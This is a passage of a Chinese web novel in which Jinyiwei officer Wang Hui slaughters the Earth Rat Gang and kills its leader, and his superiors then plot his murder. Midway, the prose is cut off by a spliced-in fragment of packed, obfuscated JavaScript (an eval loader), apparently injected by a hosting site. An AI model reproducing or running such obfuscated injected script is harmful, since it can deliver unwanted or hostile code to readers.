几乎是同时,王辉感觉到周围的空气似乎变得凝重起来。一股强烈的危机感,如同冰冷的毒蛇,瞬间缠上了他的心脏。 王辉猛地低头,目光如同闪电般扫过四周。 这一看,他顿时惊出一身冷汗! 不知何时,跟在他身后冲杀的锦衣卫弟兄,竟然已被地鼠帮的帮众有意无意地切割、冲散!原本紧密的阵型,此刻变得支离破碎。 有的锦衣卫被十几名帮众围攻,陷入了苦战;有的则被分隔开来,只能独自抵挡敌人的攻击; 还有的已经倒在了地上,不知是死是活。 而他自己,竟然被孤立了! 周围的帮众突然变得异常疯狂,无数把钢刀从四面八方劈砍而来,刀光剑影,密不透风。 这些帮众仿佛不怕死一般,前赴后继地朝着他冲来,用身体挡住他的去路,为其他人创造攻击的机会。 “王大人,这时候才反应过来,恐怕有些太晚了!” 一声阴冷的嗤笑,从侧后方传来。 王辉循声望去,只见一队明显比普通帮众更加精悍的汉子,正如同毒蛇般朝着他合围而来。 这队汉子大约有七八人,每个人的眼神都凶狠无比,手中的兵器闪烁着寒光,配合默契,显然是经过专门训练的死士。 而在这队汉子之中,陶永春那如同鬼魅般的身影,正悄然逼近! 陶永春手中握着钢刀,刀刃上泛着乌光。他的脚步轻盈而迅捷,如同一只准备扑食的猎豹,眼神中充满了狠厉的杀意。 杀局,已成! 37. 残刀饮血 地鼠轩二楼,窗户旁。 岳天波负手而立,透过窗缝冷漠地注视着下方长街那惨烈无比的混战。 看到王辉深陷重围,被近百人围攻,其中不乏好手,他嘴角不由勾起一抹一切尽在掌握的弧度,微微摇了摇头。 “差不多了,该结束了。”岳天波的声音带着一丝淡淡的疲惫和不屑,仿佛在看一场早已知道结局的乏味戏剧。 一旁的杨威参事闻言,脸上却露出几分疑惑,迟疑道:“岳百户,这……下官看那王辉虽然被围,但战力依旧凶悍无匹,左冲右突,并未显出明显败象啊?似乎……并未落入下风?” 岳天波微微笑了笑,带着一种久经沙场的老练武者对文官的优越感。 岳天波解释道:杨参事你不是武道中人,所以看不透其中关窍。 王辉此子战力的确强横,堪称罕见。但是,他终究是太年轻,太冲动,落入了陶永春这老狐狸的算计之中。 岳天波抬手指着下方混乱的战局,侃侃而谈:“我早说过了,这里是地鼠帮经营多年的核心地盘!陶永春对此地的熟悉程度、他能调动的人手和资源,远非王辉这初来乍到者可比。 王辉若是稳扎稳打,与他手下那些锦衣卫紧密配合,凭借锦衣卫更强的整体素质和那几个好手,胜负犹未可知。” 但他错就错在,太过自信,或者说太过愚蠢! 岳天波语气转冷,“他竟然一个人脱离大队,深陷敌阵!你以为地鼠帮这些年看似平淡,就真是人畜无害了? 错了!在这鱼龙混杂、帮派林立的都江城,一个帮派能常年保持‘平淡’,本身就是实力和底蕴的象征!这意味着他们内部团结,令行禁止,关键时刻能爆发出远超表面的力量!” 杨威若有所思,但还是追问道:“可……即便如此,那陶永春本人,似乎也并非王辉的对手吧?方才在楼下……” “单打独斗,自然不同。”岳天波打断他,肯定道:“陶永春年纪大了,气血衰败,拳怕少壮,他硬碰硬自然很难是王辉的对手。但现在的局面完全不同!” 岳天波眼中闪过一丝精光:“你看,陶永春根本不去正面硬撼,他只是凭借其冠绝南城的轻功身法,如同鬼魅般游走在战圈外围,不断寻找机会偷袭、骚扰,让王辉不得不分心防备,疲于应付。” “而真正负责正面强攻、消耗王辉体力和内力的,是那五六个配合默契的四五品好手!他们才是主攻! 再加上周围那数十名地鼠帮精锐帮众不顾生死的辅助围攻、挤压空间……王辉看似勇猛,左冲右杀,实则已陷入泥潭!” 岳天波的声音变得凝重起来:“这种局面下,王辉不能有丝毫失误!他的精神必须高度集中,他的每一次出刀、每一次闪避都不能出错!因为任何一个微小的疏忽,都会被周围虎视眈眈的敌人抓住,瞬间给予致命一击!” “反观白鼠帮这边呢?”岳天波嗤笑一声,“他们可以失误很多次!死了一个,马上有人补上!伤了一个,无关大局!他们人多,可以轮番上阵,可以慢慢耗! 时间一久,再强的武者也会力竭,内力也会枯竭,反应也会变慢!等到那时……哼,莫说是他王辉,就算是一品武者深陷此等绝境,若不及时脱身,也难逃败亡的下场!” “所以,”岳天波最终断言,带着一丝冷酷:“王辉,输定了!他唯一的生机就是现在不顾一切突围,或许还有一线希望。但他若继续被缠住……必死无疑!” …… 此时,长街雪地之中, 王辉的形势的确如岳天波所料,不容乐观,甚至更加凶险。 南城锦衣卫被数倍于己的敌人拼命阻隔、冲散,即便是陈飞、马三这样的好手,也被敌人不要命地纠缠住,短时间内根本无法突破过来援救。 这就导致王辉彻底陷入了孤立无援的境地,独自一人面对近百名敌人的疯狂围攻! 其中还包括了五六个中三品的好手以及一个仗着绝世轻功、如同毒蛇般游弋在外、随时准备发出致命一击的陶永春! 【经验值+10】 【经验值+9】 【经验值+18】 【……】 脑海中,系统提示音依旧在疯狂响起,记录着每一条被他收割的生命。 长街之上,已是一片狼藉,积雪被践踏成污黑的泥泞,混合着猩红的血液和残肢断臂,触目惊心。 王辉浑身早已被鲜血浸透,分不清是敌人的还是自己的。他手中的横刀已经崩碎了无数个缺口,刀刃多处翻卷,几乎变成了一把锯子。 他陷入了前所未有的苦战和鏖战之中。 状况被动到了极点。 好在无论是《□□法》还是初成的《烈风刀法》,都是走的大开大合、刚猛霸道的路子,杀伤范围广,威力足,面对群攻时,犹能支撑,每一次挥刀,仍能逼退敌人,甚至带走性命。 只是,时间一分一秒过去, 体力在飞速消耗,内力也在剧烈挥霍中不断减少。 身上的伤口在不断增加,虽然都不致命,但都在持续放血,带来一阵阵虚弱感。 这一战,从一开始就险象环生,到现在,更是步步杀机,如同在万丈悬崖边走钢丝! 陶永春:王大人,现在……可曾后悔不听老人言了? 陶永春那如同夜枭般沙哑难听的声音,总是能恰到好处地在王辉换气的间隙响起,飘忽不定,干扰着他的心神。 陶永春:王大人,何必呢?再这么负隅顽抗下去,又有什么意义?不过徒增你手下那些弟兄的伤亡罢了! 放弃吧!看在唐浩的面子上,老夫可以给你一个痛快!让你死得有尊严些,如何? 陶永春的轻功确实绝妙,他如同融入了风雪和混乱的人群阴影之中,身形鬼魅,声音也缥缈无踪,不断地用言语施压,试图瓦解王辉的战意。 然而, 王辉脸色虽然因失血和疲惫而显得有些苍白,但眼神却依旧冰冷沉静,如同古井深潭。 王辉紧守灵台,对外界的干扰充耳不闻,手中残刀挥舞,章法丝毫不乱,始终保持着一种高效而冷酷的杀戮节奏。仿佛不知疲倦,不知恐惧为何物。 “噗嗤!” 为了尽快减少对方的有生力量,王辉不惜以伤换命!硬生生用左肩硬抗了一名悍匪劈来的一刀,刀锋入骨,带来一阵剧痛! 但同时,他手中的残刀也以一個极其刁钻的角度,如同毒龙出洞,瞬间割开了那名趁机强攻上来的五品武者的喉咙! 【经验值+101】 终于! 脑海中积累的经验值总额,瞬间突破了三百点大关! 没有丝毫犹豫, 王辉意念微动,直接向系统下达指令: 【使用300点经验值】 【烈风刀法晋升至小成境】 指令下达的瞬间, 王辉的灵台陷入一种绝对的静默。 外界所有的喊杀声、风雪声、刀剑碰撞声仿佛瞬间远去、消失。 在那电光火石、近乎时间停滞的一刹那,王辉的意识被拉扯进了一个玄之又玄的境界之中。 那里没有具体的场景,只有一种情绪——恨! 滔天的恨意!无穷无尽,焚心蚀骨! 那是一位惊才绝艳却天赋受限的刀客,对命运不公的恨!对强大仇敌的恨!对自身渺小的恨!这恨意炽烈到可以燃烧一切,可以让人不顾一切,可以放下所有世俗的羁绊、道德的约束、生死的恐惧! 唯有无尽的恨,放不下!忘不了!驱使他去毁灭,去复仇,去撕裂一切阻碍! 这就是《烈风刀法》的真意!是那位“烈风刀客”创造这门刀法的初衷和核心!以恨意为薪柴,点燃自身,爆发出远超自身境界的毁灭之力! 闭眼,睁眼。 仿佛只是瞬息之间,又仿佛经历了漫长的岁月洗礼。 王辉的双眼之中,原本的冰冷沉静消失不见,取而代之的是一种隐隐约约的朦胧黑气,那黑气之中,沾染着无尽的死寂……与那足以焚尽八荒的恐怖仇恨! 就在那一瞬间, “铛!”“咔嚓!” 手中那柄早已不堪重负的残刀,在又一次悍然劈翻几个围攻上来的小喽啰后,终于发出一声不堪重负的哀鸣,从中彻底断裂! 王辉手中,只剩下半截断刀,长度不足一尺,断口参差不齐。 但王辉那双弥漫着血红、隐隐有黑色恨意与血雾缭绕的眸子,却瞬间穿透混乱的人群,死死锁定了依旧游离在战圈之外,自以为掌控一切的陶永春! 那一瞬间, 正如同幽灵般寻找时机的陶永春,没来由地感到一股彻骨的寒意从天灵盖直冲脚底! 仿佛被一头来自九幽地狱的洪荒凶兽盯上,一种源自生命本能的恐惧让他浑身汗毛倒竖! 陶永春看到了王辉的眼睛。 那双眼睛虽然被鲜血和汗水模糊,却异常的……干净?不,那不是干净,那是纯粹!纯粹到极致的……毁灭与仇恨! 陶永春心中猛地一突,下意识地皱了皱眉,随即又在心里暗笑自嘲: “真是江湖越老,胆子越小……老夫这是多少年没经历这般死战,竟然被一个穷途末路的小子一个眼神给吓住了?可笑,真是可笑!” 陶永春强行压下心头那丝不安,紧紧握住手中的钢刀,体内内力疯狂运转,轻功提至极限,准备寻找那最终的绝杀机会! 而就在此时,他等待已久的机会,似乎出现了! 那四名一直作为主攻手的四五品武者,仿佛心 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然后,还能在那电光火石之间,瞬间回身,来抵挡来自背后的、自己这酝酿已久的绝杀一击! 但这,可能吗? 根本不可能! 因为即便是一品高手,在体力充沛的全盛状态下,要做到这一步也极其困难,需要极高的武学境界和运气成分。 而现在的王辉,早已不是巅峰状态!他打了这么久,体力消耗巨大,身上多处负伤,血流不止!而且,他根本就不是一品武者! 所以, 在陶永春看来,这一击,必是绝杀!没有任何悬念! 四大高手的攻击,到了!四把钢刀封死了所有空间! 陶永春的绝杀一刀,紧随其后,只慢了半步!毒辣无比! 然而, 就在那生死一瞬的刹那! 一抹极致凝练、仿佛压缩了周围所有光线的诡异白光,骤然自战圈中心迸发而出! 那光芒并不耀眼,却带着一种斩断一切、毁灭一切的极致锋芒,瞬间刺激到了在场所有人的眼睛! 那一瞬间, 纷飞的白雪,嘶吼的人群,挥舞的兵刃……仿佛一切都消失了。 人群之中,雪幕之下, 似乎只剩下了一把刀! 那是一把早已残缺不堪、只剩半截的断刀! 但它此刻爆发出的威势,却彻底遮掩了漫天飞雪的光华,也以一种蛮横无比、摧枯拉朽的方式,直接碎裂了那看似天衣无缝、璀璨夺目的四大高手的合击! 没有人能够明白, 这一刀的力量为何会如此恐怖! 一把破残的断刀而已,并非什么吹毛断发的神兵利器, 凭什么能够同时斩断四把百炼精钢打造的利刃?! “咔嚓!”“咔嚓!”“咔嚓!”“咔嚓!” 四声清脆刺耳的金铁断裂声几乎同时响起! 几截断裂的钢刀碎片混合着雪花四处飞溅! 那四名脸上还带着狰狞和必杀信念的高手,动作瞬间僵住,脖子上齐齐出现了一道细微的血线。 他们的眼中充满了极致的错愕、茫然和难以置信, 仿佛根本无法理解发生了什么。 “噗嗤——” 鲜血如同喷泉般从四人的脖颈处狂涌而出,瞬间染红了周围纷扬的白雪。 而王辉手中,那半截断刀在爆发出那惊世一击后,似乎也耗尽了最后的力量,彻底崩碎,化为齑粉。 如今,他手中只剩下一个光秃秃的刀柄,以及刀柄连接处那仅剩的一点点微不足道的铁渣残片。 但他的刀势,却并未停止! 王辉双眼血红,周身弥漫着若有实质的血雾和黑色恨意,整个人如同从地狱归来的复仇修罗! 他用那仅剩的刀柄, 带着那一点点几乎可以忽略不计的铁渣, 划向了如同鬼魅般袭杀而至的陶永春的喉咙! 陶永春脸上的狞笑和绝杀的自信瞬间凝固,转化为无边的惊骇和恐惧!他想要变招,想要后退,想要躲避! 但,太晚了! 他为了追求绝杀的速度和力量,自身也如同离弦之箭,根本没有留丝毫余地! “锵——!” 一声极其短暂、如同金玉断裂般的轻响炸起! 陶永春手中那柄灌注了全身功力的钢刀,在与那带着毁灭气息的刀柄接触的瞬间,竟如同朽木般寸寸断裂! 然后,王辉紧紧握着的那个刀柄,以及刀柄上那一点点微不足道的铁渣,以一种超越了速度概念的方式,轻轻地…… 划过了陶永春的脖颈。 时间,仿佛在这一刻静止! 38. 狂砍一条街 “呃……” 陶永春喉咙里挤出的呜咽,像是破风箱被生生扯断,沉闷得令人牙酸。 手中那半截断刀“哐当”坠地,刀刃撞击青石板的脆响,在漫天风雪里碎成齑粉——那青石板早已被血浸透,凝成一层滑腻的暗红色,断刀落地时甚至溅起几滴尚未凝固的血珠。 陶永春下意识地双手猛捂脖颈,指缝却瞬间被滚烫的血涌满。那血带着人体最鲜活的温度,却烫得他指尖发麻,仿佛要将他仅存的生机一同灼穿。他能清晰感觉到颈动脉被割断的剧痛,像是有无数把小刀子在血管里疯狂搅动,每一次心跳都在将生命往外泵射。 “噗——!” 一声闷响,如同被踩爆的血囊。积蓄在脖颈里的鲜血终于冲破指缝的阻拦,化作一道猩红的喷泉激射而出。滚烫的血珠泼洒在积着残雪的长街上,雪水瞬间被染成浑浊的粉色,顺着石板缝隙蜿蜒流淌,迅速在脚下汇成一滩不断扩张的血泊,那颜色浓烈得近乎发黑,触目惊心。 陶永春双目圆睁,眼球因极致的惊骇而布满血丝,瞳孔里映出的,是自己鲜血漫延的惨状,更是不远处那个浑身浴血的锦衣卫少年冰冷的眼神。 不甘如同毒蛇般啃噬着他的心——他是钻地鼠陶永春,怎么能死在这么一个毛头小子手里?可死亡的寒意已经顺着脊椎爬遍全身,四肢开始不受控制地抽搐,连捂住脖子的双手都在微微颤抖。 踉跄两步,陶永春的膝盖重重磕在青石板上,发出沉闷的撞击声。 紧接着,整个身躯轰然倒地,溅起的血花落在残雪上,像是骤然绽放的红梅,却带着令人窒息的血腥气。 鲜血从他身下汩汩流出,顺着长街的坡度缓缓蔓延,最终与他经营多年的地盘彻底融为一体——他终究没能守住这条街,反倒成了这条街上最新的一滩污血。 那一瞬间,整条喧嚣的长街仿佛被按下了暂停键。 喊杀声、兵刃碰撞声、伤者的哀嚎声,在陶永春倒地的刹那戛然而止。 死寂,如同浓稠的墨汁,瞬间将整条南屏街彻底笼罩。风还在刮,雪还在飘,可所有人都僵在原地,目光死死盯着倒在血泊中的地鼠帮帮主,脸上写满了难以置信。 谁能想到?以轻功狡诈闻名的“钻地鼠”陶永春,在己方数百人团团包围、占据绝对优势的情况下,竟然被一个二十出头的锦衣卫,用一柄只剩刀柄的残刀割开了喉咙! 那锦衣卫少年就站在陶永春的尸体旁,玄色官服早已被血浸透,几缕染血的黑发贴在额前,眼神冷得像冰。 王辉低头瞥了一眼地上渐渐冰冷的尸体,嘴角没有丝毫波动,仿佛刚才斩杀的不是一方霸主,只是一只碍眼的蝼蚁。 【经验值+436】 冰冷而机械的提示音在脑海中响起,王辉甚至没心思去看系统界面的具体数字——方才连番恶战,他斩杀的地鼠帮好手不计其数,经验值早已累积到惊人的地步。 此刻听到提示音,王辉只淡淡扫了一眼悬浮在眼前的半透明面板:1987点。距离两千点大关,只差最后13点。 没有丝毫犹豫,王辉俯身,右手如闪电般探出,一把抓起地上两把还沾着温热血液的钢刀。 刀刃上的血珠顺着刀身滑落,滴在青石板上,发出“嗒嗒”的轻响。 这两把刀是地鼠帮小头目所用,钢质虽不算顶尖,但胜在锋利趁手,足以应对接下来的局面。 双刀在手,王辉猛地深吸一口气。 冰冷的空气灌入肺腑,混杂着浓重的血腥味,却让他的眼神愈发清明。 内力在丹田气海中疯狂运转,顺着经脉流遍四肢百骸,王辉猛地张开嘴,发出一声如同炸雷般的怒吼: “地鼠帮帮首陶永春已伏诛!” “负隅顽抗者——以谋逆论处,株连三族!” 这声怒吼如同平地惊雷,蕴含着浑厚的内力,瞬间压过了风雪的呼啸和伤者的呻吟,清晰地传入在场每一个人的耳中。 声音里带着不容置疑的威严,更带着令人胆寒的杀气,像是一把重锤,狠狠砸在每个地鼠帮帮众的心头。 死寂被彻底打破,取而代之的是更深的震撼与恐惧。 地鼠帮的帮众们这才如梦初醒,看着倒在地上的帮主尸体,又看看手持双刀、浑身浴血的王辉,脸上的嚣张早已被恐慌取代。 他们之所以敢围着锦衣卫厮杀,全是因为有陶永春坐镇,可如今主心骨一死,他们就像是没了头的苍蝇,瞬间乱了阵脚。 就在这数百号帮众陷入震惊、茫然与恐慌的间隙,王辉动了! 王辉的身影如同离弦之箭,脚尖在青石板上轻轻一点,整个人便化作一道残影,再次悍然冲入人群。 手中双刀交错挥舞,寒光闪烁间,两道死亡的旋风瞬间成型! “噗嗤!”“噗嗤!” 刀刃切入□□的声音密集响起,如同割草般清脆。 离王辉最近的七八个地鼠帮帮众甚至没能看清刀光的轨迹,便感觉脖颈一凉,鲜血喷涌而出。他们瞪大了眼睛,想要发出惨叫,却只能从喉咙里挤出“嗬嗬”的漏气声,最终颓然倒地,尸体还在微微抽搐。 王辉的动作快到极致,破风刀法与烈风刀法在他手中融会贯通,每一刀都精准地朝着敌人的要害砍去。 王辉如同闯入羊群的猛虎,所过之处,血花飞溅,残肢横飞。玄色官服上的血渍越来越厚,连脸上都溅满了猩红,可他的眼神却始终保持着绝对的冷静,仿佛杀戮对他而言,只是一件再平常不过的事情。 同一时间,正在四处缠斗的南城锦衣卫们终于反应了过来。 起初,他们被地鼠帮数百人围攻,早已精疲力尽,不少弟兄都倒在了血泊中,连握着刀的手都在发抖。可当看到王辉斩杀陶永春,又如同魔神般冲入敌阵大肆砍杀时,巨大的狂喜瞬间取代了疲惫与恐惧。 “帮首已死!降者不杀!” “负隅顽抗者,杀无赦!” “杀!为死去的弟兄报仇!” 震天的怒吼声此起彼伏,锦衣卫们像是打了鸡血般,握着兵刃再次冲向敌人。 原本被压制的局面瞬间逆转,他们跟着王辉的步伐,朝着慌乱的地鼠帮帮众发起了猛攻。 地鼠帮的溃逃,从第一个人丢掉兵刃开始。 不知道是谁先喊了一声“快跑”,手中的钢刀“哐当”落地,转身就朝着长街尽头狂奔。这一声喊叫如同推倒了第一块多米诺骨牌,恐慌如同瘟疫般迅速蔓延。 “跑啊!帮主死了!我们打不过了!” “快逃!那个锦衣卫是魔鬼!” 哭爹喊娘的声音此起彼伏,越来越多的地鼠帮帮众丢掉兵刃,转身亡命奔逃。 有的人为了跑得更快,甚至不惜将身边的同伴推倒在地,任由后面的人践踏而过。原本整齐的阵型彻底散乱,数百号人挤在狭窄的长街上,形成了一片混乱的溃逃洪流。 兵败如山倒,大抵便是如此。 王辉手提双刀,如同追命的死神,在溃逃的人群中穿梭。他的目标很明确——那些试图抵抗或者跑得稍慢的帮众,每一刀落下,必然带走一条人命。 王辉所过之处,尸体横七竖八地躺满了长街,残肢断臂与破碎的内脏随处可见,鲜血将半条街都染成了暗红色,连风雪都无法将这浓烈的血腥气冲淡。 “别追我!别追我!”一个地鼠帮的小头目被王辉追得魂飞魄散,一边跑一边哭喊,甚至吓得尿了裤子。 可他的速度哪里比得上王辉?不过瞬息之间,王辉便追到他身后,左手刀顺势劈下,那小头目惨叫一声,半个肩膀连带手臂被生生砍断,鲜血喷涌着倒在地上,抽搐了几下便没了动静。 疯狂的溃逃很快变成了彻底的践踏。有人被绊倒在地,瞬间就被后面的人踩成了肉泥; 有人慌不择路,一头撞在街边的商铺门板上,晕头转向间便被追上来的锦衣卫一刀枭首; 还有人试图翻墙逃跑,却被王辉掷出的钢刀刺穿了后背,钉在墙上,鲜血顺着墙壁缓缓流淌,留下一道狰狞的血痕。 长街之上,哀嚎遍野,血流成河。原本繁华的南屏街,此刻俨然成了人间炼狱。 地鼠轩二楼的雅间里,岳天波一行人脸色铁青,拳头死死攥着,指节因为用力而发白。 “砰!” 岳天波猛地一拳砸在窗棂上,木屑纷飞,他的指关节被划出一道血口,可他却浑然不觉。 愤怒与难以置信如同火焰般在岳天波胸腔里燃烧,他几乎是咬着后槽牙,从牙缝里挤出声音:“陶永春这个废物!彻头彻尾的废物!几百号人围着一个锦衣卫,占尽了天时地利人和,竟然还能让王辉那竖子翻盘!死不足惜!” 站在他身边的几位千户所参事和百户们沉默着,没有人敢接话。他们透过窗户,看着长街上那个浑身浴血的少年身影,心头都不由自主地升起一股寒意。 那少年明明只有二十出头,可杀人时的狠辣与决绝,却比那些混迹江湖数十年的老魔头还要可怕。 王辉手提双刀,在人群中砍杀时,眼神里没有丝毫波动,仿佛那些倒下的不是一条条鲜活的生命,只是一堆无关紧要的垃圾。 “此子……杀性好重。”一位负责文书工作的参事脸色发白,声音干涩地说道。 他平日里打交道的都是笔墨纸砚,哪里见过这般血腥的场面?此刻看着楼下的惨状,胃里早已翻江倒海,若不是强忍着,恐怕早就吐了出来。 “杀性重?”另一位年纪稍长、见识过不少风浪的参事摇了摇头,语气中带着一丝难以置信的忌惮,“这哪里是什么‘小杀神’?这分明就是一尊活脱脱的、只为杀戮而生的真杀神!” 众人顺着他的目光看去——长街上,王辉正单手持刀,将一个试图反抗的地鼠帮成员按在墙上,刀刃从对方的胸口缓缓划过,鲜血顺着刀刃滴落,那成员的惨叫声渐渐微弱,最终彻底没了声息。而王辉只是面无表情地抽出刀,转身继续追杀下一个目标。 他们这些在楼上纵观全局的人看得清清楚楚:南城锦衣卫加起来斩杀的地鼠帮成员,恐怕还没有王辉一个人多!更诡异的是,那些溃逃的帮众,宁愿转身冲向人数更多的锦衣卫队伍跪地求饶,也不愿面对孤身一人的王辉。 因为他们知道,被锦衣卫抓住,顶多是被关押审讯,还有一线生机;可若是被王辉追上,能留下一具全尸,都算是祖上积德。 约摸一炷香的时间过去,喧嚣的长街终于渐渐安静下来。 地上横七竖八地躺满了尸体,有的双眼圆睁,死不瞑目;有的肢体残缺,鲜血早已凝固成黑紫色;还有少数几个伤者躺在地上,发出微弱的呻吟,却连动弹的力气都没有。 街边的商铺门板上、墙壁上,到处都是飞溅的血渍和刀痕,整个南屏街仿佛被浸泡在了血水里,散发着令人作呕的腥臭味。 长街尽头,王辉随手丢掉了手中的钢刀。那两把刀早已被砍得卷刃变形,刀刃上布满了缺口和血肉残渣,再也无法使用。 王辉深深地吐出一口浊气,那口气中带着浓重的血腥味,在冰冷的空气中化作一团白雾,很快又被风雪吹散。 王辉抬起手,用手背随意地抹了抹脸上的血污。温热的血液混合着雪花,在他脸上留下一道道狰狞的血痕,配上他那双冰冷的眼睛,更添了几分凶煞之气。以他为中心的方圆两三丈内,仿佛形成了一处无形的真空地带——即便是陈飞、马三这些与他朝夕相处的下属,此刻也不敢轻易靠近,只是远远地站着,眼神中充满了敬畏,甚至还有一丝难以掩饰的恐惧。 王辉没有在意下属们的目光,心念微动,系统界面瞬间出现在眼前。 1987点经验值,加上斩杀陶永春获得的436点,总共2423点?不对,刚才追杀溃逃帮众时,应该还斩杀了不少人。 王辉仔细扫了一眼界面,最终确认:2843点经验值,足够了。 【使用3000点经验值,玄元功升级至第八层,当前境界晋升至二品】 指令下达的瞬间,一股远比之前更加磅礴精纯的内力如同火山爆发般,从丹田气海深处轰然涌出!那内力带着温热的气息,瞬间流遍四肢百骸,冲刷着每一条经脉,滋养着每一寸血肉。原本因为连番恶战而有些受损的经脉,在这股内力的滋养下,以肉眼可见的速度修复着;肌肉与骨骼也在被不断强化,发出细微的“噼啪”声响。 突破带来的并非任何不适,反而是一种酣畅淋漓的舒泰感。仿佛积压了许久的压力瞬间释放,浑身的疲惫感被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小李的额头破了个大口子,鲜血顺着脸颊往下流;还有几个弟兄躺在地上,气息微弱,显然伤得不轻。 “先紧急救治受伤的兄弟。”王辉沉声道,语气中带着一丝不易察觉的沙哑,“能动的都搭把手,把重伤的弟兄抬到街边的商铺里,找干净的布条包扎伤口。 另外,安排两个伤势轻、腿脚快的弟兄,立刻去府衙报案,让他们派仵作和差役来洗地,顺便把俘虏的地鼠帮成员押回大牢。” “是!大人!”陈飞连忙领命,虽然腿上剧痛难忍,但他还是咬牙转身,对着身边的锦衣卫喊道:“都听到大人的话了!快!先救重伤的弟兄!小张、小王,你们两个伤得轻,赶紧去府衙报信!” 锦衣卫们立刻行动起来,有的搀扶着受伤的同伴,有的在街边商铺里翻找干净的布条,还有的则开始清点地上的尸体和俘虏。 虽然每个人都疲惫不堪,但脸上却带着胜利的喜悦——他们赢了,赢了这场看似不可能赢的仗。 而王辉,则站在原地,目光扫过地上的尸体,眼神复杂。这些锦衣卫弟兄,都是跟着他出生入死的兄弟,如今却有人永远地倒在了这里。 王辉缓缓闭上眼睛,深吸一口气,再睁开时,眼神已经恢复了冰冷——这场血战,绝不会就这么结束。 岳天波一行人在背后搞的小动作,他早已心知肚明,接下来,该轮到他反击了。 岳天波一行人也是脸色铁青、狼狈不堪地匆匆从南屏街离开,快马加鞭赶回了千户所。 当千户霍成林听完了事件的全部经过之后,饶是他城府极深,此刻脸上也忍不住露出了极大的震惊之色,脸色变得无比凝重。 “失算了……严重低估了这个王辉的实力和疯狂!”霍成林沉声道。 霍成林手指无意识地用力敲击着桌面,显示出内心的不平静:“绝不能再放任他这样无法无天地发展下去了!否则,他必将成为第二个唐浩!不,他甚至会比唐浩更麻烦!等到那时,我们再想压制,就彻底来不及了!” 岳天波的脸色也同样凝重无比,甚至带着一丝后怕,补充道:“大人所言极是!论潜力、论狠辣,王辉此子绝对不在唐浩之下!甚至,如果抛开家世背景来看,王辉的威胁程度,尤在唐浩之上!” 岳天波深吸一口气,继续分析,语气中难掩忌惮:“唐浩虽然强势,但至少出身世家,做事还在一定的规矩框架之内,懂得权衡利弊。 可这个王辉,是野路子出身,行事作风比唐浩还要张狂、还要肆无忌惮、更加不择手段!此子的杀性……实在太重了!简直是为杀而生!” 霍成林微微点了点头,眼神变得无比锐利和决绝,道:“所以,绝不能再让他与唐浩顺利汇合!必须赶在唐浩从外面回来之前,不惜一切代价,除了他! 否则,一旦让唐浩得到了这把锋利无比且毫无顾忌的‘刀’,他们的组合,将比我们想象中最坏的情况还要棘手十倍!” “大人准备怎么做?”岳天波急忙询问道,他知道,常规手段已经很难对付那个不按常理出牌的杀神了。 霍成林眼中闪过一抹冰冷的杀机,斩钉截铁道:“既然阴谋算计压不住他,那就一不做二不休,直接强势镇杀! 你立刻亲自去通知清水帮帮主吴磊,让他们不要再管唐浩那边了,集中所有精锐高手,先给本官不惜一切代价杀了王辉!再去处理唐川的事情!告诉他们,这是千户所的死命令!若是办不成,后果自负!” 与此同时,都江城的各个角落,关于南街血战的消息正在以惊人的速度传播着。 茶馆里,说书先生放下手中的醒木,唾沫横飞地讲述着王辉斩杀陶永春、以一敌百的壮举; 酒肆中,江湖汉子们举杯痛饮,热议着那个浑身浴血的锦衣卫少年;各大帮派的据点里,首脑们脸色凝重地召开会议,讨论着这场血战带来的影响。 王辉的凶名,如同插上了翅膀,再次传遍了整个都江城。而这一次,造成的轰动效应远超以往任何一次。 因为南街一战,全程都在无数势力的密切关注之下。 南城的各大帮派都清楚,这场血战的背后,牵扯着千户所与唐浩之间的权力斗争。他们几乎都派了得力人手在远处暗中观战,将王辉斩杀陶永春、追杀溃逃帮众的全过程尽收眼底。 “地鼠帮就这么没了?”